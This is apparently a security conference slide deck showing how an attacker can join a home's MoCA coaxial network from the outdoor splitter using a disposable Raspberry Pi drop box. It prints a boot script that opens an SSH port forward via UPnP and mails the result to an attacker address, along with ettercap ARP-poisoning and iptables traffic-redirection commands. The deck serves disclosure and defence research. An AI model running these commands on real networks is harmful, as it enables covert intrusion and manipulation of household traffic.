Raspberry MoCA

A recipe for compromise

Your Presenter

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The views presented in this talk do not reflect the views of my employer. It is an independent work.

Media over Coaxial Alliance



- A bunch of media companies got together
- How to make use of widely deployed coaxial cabling to deliver content?
 - ${\rm \circ}~$ Shielded
 - \circ Lots of frequency bandwidth
 - \circ Carries signal 500 feet
- PHY/MAC specification



- Creates a network of the coaxial bus
- Delivers guaranteed bandwidths at certain distances

What does MoCA look like?



MoCA Operation: PHY

PHY is the coaxial cable
 Frequencies & signaling

 Orthogonal Frequency Division Multiplexing
 WAN and LAN channel sets



MoCA Operation: MAC



MoCA, definitely caffeinated

- HDTV requirements
 Enables 'triple play'
- Guaranteed speeds
 Desired by ISPs



More prevalent than Starbucks

- Most consumers don't even know they have it
- North American and European service providers already deploy it
- In other words, just about every broadband installation
 - \circ FIOS
 - Cable/Xfinity
 - Dish/Satellite
 - \circ DVR
 - \circ STB



The Wall Wart

- Optical cable run from the neighborhood splitter to the home
- Optical Network Terminator (ONT) installed on the exterior of the home
 - $_{\odot}$ Bridges the fiber to coaxial or CAT5 cable
 - \circ ISP prefers coaxial \rightarrow MoCA







MoCA Inside

- Actiontec Router
 - SPI firewall
 - \circ NAT router
 - LAN WAN
 - \circ 2 MoCA nodes (NC)
 - MoCA-to-Ethernet bridge



Digital Video Recorder

- MoCA networking on board
- $\,\circ\,$ Depends on Actiontec router

10 100 10 100

Time sync

Coax

ç

OVDC 1 54

0

TV channel data

Let's draw that out a little more



No Keys Required



OH SNAP!



Remember, MoCA looks like this?



DOUBLE SNAP! IT'S OUTSIDE!



Walk up and jack in

- Utility point-of-presence
 ONT + root coax splitter
 - + power = SCORE!
- Many homes have low plants growing around to obscure the equipment
 - That will provide useful cover for the attacking equipment



Tools of the Trade

MoCA-to-Ethernet bridge
 RG-6 Coaxial Cable
 >1GHz Coaxial Splitter







Burning Bridges

- Connect the attack device to the bridge's Ethernet interface
- Actiontec LAN does not engage link protection
 - Any device can connect



What just happened here?

- A MoCA device has been added to the coaxial bus
- Remember, both MoCA WAN and LAN run on the same physical bus
- The bus is terminates outside the home
- By attaching to the MoCA LAN, the internal Ethernet LAN has been extended outside the home

Situation normal



SNAFU



What could possibly go wrong?

- Enables attacks defeated by a firewall
- Network redirection
 - Address resolution protocol poisoning
 - $_{\odot}$ DHCP response spoofs
 - DNS hijacking
- Traffic profiling
 - $_{\odot}$ Deep packet inspection
 - What do you do at home that you wouldn't do at work?
- What's old is new again! Hello 2001!

Ethernet attacks, so retro!

- Enables direct attack against the local Ethernet network
- Many attacker tools and frameworks have been developed to automate infiltration
 - o Ettercap
 - \circ dnsniff
 - Metasploit
 - o BeEF
 - \circ EvilGrade
 - o Karmetasploit



This tattoo will protect me from harm!

- MoCA filters
- Block signal in the MoCA ranges
- Marketed as a security layer to protect against unwanted MoCA signals



- Typically located on the feed to the splitter
 - Almost always exposed
- Designed to prevent signal bleed between houses
 - NOT between the interior and exterior walls.

Building a disposable attack unit

- This is a problem that needs more attention
- Create a platform to automate the compromise of a MoCA network
- Illustrate that the compromise of most target domiciles is as simple as walking up to them



Requirements

Drop-in physical toolkit

 Physical insertion
 Power
 Computing device

 Remote access to toolkit

 Reverse tunnel, requires a server

- Port forwarding?
- Traffic redirection
- Content manipulation

Design Objectives

DO NO HARM

- $_{\odot}$ This is a demo for educational purposes
- Random useless site redirection is obvious, nondestructive

• Use standard tools

- \circ Less profiling
- \circ Updatable
- \circ Disposable

Minimize power consumption

- $_{\odot}$ Enable attacker to walk away and preserve cover
- $_{\odot}$ Unit must last at least a day
- Control costs

Ingredients

Universal Power Supply O APC BackUPS 350 ES



- $\,\circ\,$ Management software for soft shutdown
- $\,\circ\,$ Can turn off the alarm
- $_{\odot}$ ~60 hours uptime for a 3VA device, like an ARM

👸 Raspberry Pi

- \circ Model B 512 MB RAM
- ARM11 processor
- $\,\circ\,$ Minimal power consumption
- Requires 8GB class 10 SD Card for storage (OS)
- Cheap



Ingredients

Kali Linux

- Standard penetration testing distribution
- Has necessary tools Ettercap, perl, python
- Extendable via Debian repositories
 - squid, apache, miniupnp
- Available images for ARM, including Raspberry Pi
 FREE
- Universal Plug-n-play IGD protocol
 - Actiontec firewall/router
- MoCA-to-Ethernet bridge
 Netgear MCAB1001

Universal Plug-n-Play

- uPNP enables service discovery on broadcast domains
- UDP port 1900
- No authentication
- No routing required, everything just blabs
 - \circ iPhone
 - \circ Computer
 - \circ Printer
 - TVs DLNA
 - o Router



Internet Gateway Device

uPNP protocol to ease manipulation of firewall rules



- Allows the firewall to adjust posture based on the requests of internal hosts
 - \circ No authentication
 - Forwards requested ports and sets up NAT
- Most embedded routers support IGD
- Supported by Microsoft, DLNA, ISPs

How helpful!

Image Hijinks

- Transparent proxy needed to manipulate web streams
 - Squid provides URL_REWRITE facility to support 3rd party tools
 - $\,\circ\,$ ImageMagik libraries do the work
- I Love My Neighbors
 - $_{\odot}$ Josh Wright's wireless honeypot distribution
 - Accomplishes my goals (flipping pics, funny things)
 - Perl scripts for URL_REWRITE
- Some BASH scripting to get it all set up

Recipe for Raspberry MoCA: Phase 1

- Insertion and remote access
- Upon boot, execute a uPNP command to forward an external port to local SSH server
 {External IP}:22/tcp -> {Raspberry MoCA IP}:22/tcp
- Report information to attacker

```
#!/bin/sh -e
# rc.local
sleep 120;
upnpc -a `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \
| awk -FV '{print $1}'` 22 22 tcp | tee /tmp/report \
| mailx -s `ip addr | fgrep "inet " | fgrep -v "host lo" | awk '{print $2}' \
| awk -FV '{print $1}'`.report surreptitiously.delicious@foo.bar
exit 0
```

Recipe: Phase 2

Engage image manipulation

ARP poison the LAN

echo -n , Redirecting traffic ettercap -D -I /root/etter.infos -m /root/etter.msgs -M arp // //

Redirect web streams to local proxy

echo -n , Redirecting ports iptables --flush iptables --table nat --flush iptables --delete-chain iptables --table nat -A PREROUTING -i eth0 -p tcp \ --destination-port 80 -j REDIRECT --to-port 3128

• Manipulate the web stream

rm /etc/squid3/url_rewrite_program In -s \$SDIR/\$1 /etc/squid3/url_rewrite_program service squid3 restart >/dev/null

DEMO

• WATCH THIS!

famous last words....

Results

ARM11 is single core and it shows

- $_{\odot}$ A little pokey for manipulating large images
- $_{\odot}$ Reduced apache and squid to 5 threads
- \circ Lowers CPU interrupt contention
- Only use simple flips. Animated GIFs are S..L..O..W..

Traffic redirection

- $\,\circ\,$ Network with six normal devices on it
- \circ Phones, DVR, computers
- $_{\odot}$ All redirected with no noticeable performance issues
 - Simple replacement of the word 'dog' with 'cat'
- $\,\circ\,$ MoCA works well for this

Results

Compared to attack injections Images are huge payloads. Injections are small. • Static payload insertion does not require heavy proc **Raspberry MoCA Platform provides** Guaranteed remote access for a defined time Quick delivery and insertion. Minimizes exposure • Low cost platform. <\$300 is disposable • Commodity components. Minimizes profilable artifacts Low-latency traffic redirection and manipulation

 Find a resource and implant a more permanent backdoor

Security needs YOU!

- This is a major exposure of the physical transport layer
- Requires reassessment and attention from cable installers and Internet providers
- Consumers should demand this!

Ongoing work

Detect MoCA injections
 Alert on network insertion

 Offer something more than ArpWatch?

 SLIM and Counter-Pi

 in collaboration with Stephan Browarny

Questions?

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Backup

 Because sometimes things don't go as planned...

Man's Best Friend

Dorerin Naoero

Firefox _ **D** X O Dog - Wikipedia, the free enc... × W Cat - Wikipedia, the free ency... + S) @ en.wikipedia.org/wiki/Dog 😳 = × 🕺 - wikipeida **E** .-Basa Jawa Since that time, C. domesticus and all taxa referring to domestic dogs or subspecies of dog listed by Linnaeus, Johann Friedrich Gmelin in 1792, and Christian Smith in 1839, lost ಕನ್ನಡ their subspecies status and have been listed as taxonomic synonyms for Canis lupus familiaris.[27] Kapampangan History and evolution 1560900 कॉश्रर / كأكثر / कॉश्र Main articles: Origin of the domestic dog and Gray wolf Kaszebsczi Казакша Domestic doos inherited complex behaviors from their wolf ancestors, which would have Kinvarwanda been pack hunters with complex body language. These sophisticated forms of social Kiswahili cognition and communication may account for their trainability, playfulness, and ability to fit happ Коми into human households and social situations, and these attributes have given dogs a Krevòl avisven relationship with humans that has enabled them to become one of the most successful species on the planet today.[23] Kurdî Кырык мары Although experts largely disagree over the details of dog domestication, it is agreed that Лакку human interaction played a significant role in shaping the subspecies.^[28] Domestication Лезги may have occurred initially in separate areas, particularly Siberia and Europe. Currently it is Ancient Greek rhyton in the shape of a dog's head, made by Brygos, early 5th century BC. Jérôme Latina Carcopino Museum, Department of Archaeology, Aleria thought domestication of our current lineage of dog occurred sometime as early as 15,000 Latviešu years ago and arguably as late as 8500 years ago. Shortly after the latest domestication, Lëtzebueraesch dogs became ubiquitous in human populations, and spread throughout the world. Lietuviu Emigrants from Siberia likely crossed the Bering Strait with dogs in their company, and some experts^[29] suggest the use of sled dogs may have been critical to the success of the Ligure waves that entered North America roughly 12,000 years ago,^[29] although the earliest archaeological evidence of dog-like canids in North America dates from about 9,400 years Limburgs ago. [30][31] Dogs were an important part of life for the Athabascan population in North America, and were their only domesticated animal. Dogs also carried much of the load in the Lingála migration of the Apache and Navajo tribes 1,400 years ago. Use of dogs as pack animals in these cultures often persisted after the introduction of the horse to North America. Loiban [32][page needed] Luganda The current consensus among biologists and archaeologists is that the dating of first domestication is indeterminate.^{[28][32]} although more recent evidence shows isolated Lumbaart domestication events as early as 33,000 years ago.[33][34] There is conclusive evidence the present lineage of dogs genetically diverged from their wolf ancestors at least 15,000 years Magyar ago, [36][32][38][39] but some believe domestication to have occurred earlier. [28] Evidence is accruing that there were previous domestication events, but that those lineages died Македонски out.[40] Malagasy മലയാളം It is not known whether humans domesticated the wolf as such to initiate doo's divergence from its ancestors, or whether doo's evolutionary path had already taken a different course Malti prior to domestication. For example, it is hypothesized that some wolves gathered around the campsites of paleolithic camps to scavenge refuse, and associated evolutionary मराठी pressure developed that favored those who were less frightened by, and keener in approaching, humans. ممترى The bulk of the scientific evidence for the evolution of the domestic dog stems from morphological studies of archaeological findings Bahasa Melayu and mitochondrial DNA studies. The divergence date of roughly 15,000 years ago is based in part on archaeological evidence that Ming-děng-ngũ demonstrates the domestication of dogs occurred more than 15,000 years ago.[23][32] and some genetic evidence indicates the Mirandés domestication of dogs from their wolf ancestors began in the late Upper Paleolithic close to the Pleistocene/Holocene boundary, Мокшень between 17,000 and 14,000 years ago.[41] But there is a wide range of other, contradictory findings that make this issue controversial Монгол [citation needed] There are findings beginning currently at 33,000 years ago distinctly placing them as domesticated dogs evidenced not only by shortening of the muzzle but widening as well as crowding of teeth. Nābuat

Archaeological evidence suggests that the latest point at which dogs could have diverged from wolves was roughly 15.000 years ago. although it is possible they diverged much earlier.^[23] In 2008, a team of international scientists released findings from an excavation at

The World Upside-Down



Watch Out, Plane!



Prove it!

11 24 192.168.1.7 - PuTTY 16 proxy 14149 14138 0 02:29 00:00:00 (unlink) 11 root 14184 13455 0 02:32 pts/1 00:00:00 ps -ef 12 root@kali:~# netstat -an grep -v unix 14 Active Internet connections (servers and established) 17 Proto Recv-Q Send-Q Local Address Foreign Add 14 tcp 0 0.0.0.0:22 0.0.0.0:* 14 tcp 0 0.0.0.0:3128 0.0.0.0:* 14 tcp 0 0192.168.1.7:3128 192.168.1.5 15 tcp 0 0192.168.1.7:3128 192.168.1.5 14 tcp 0 0192.168.1.7:3128 192.168.1.5	224.0.1.60 01-00-5e-00-01-3c static 239.255.255.250 01-00-5e-7f-ff-fa static skd) 255.255.255 ff-ff-ff-ff-ff-ff static t t dtass dtass dtass
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udp 0 0 0.0.0.0:68 0.0.0.0:*	239.255.255.250 01-00-5e-7f-ff-fa statio
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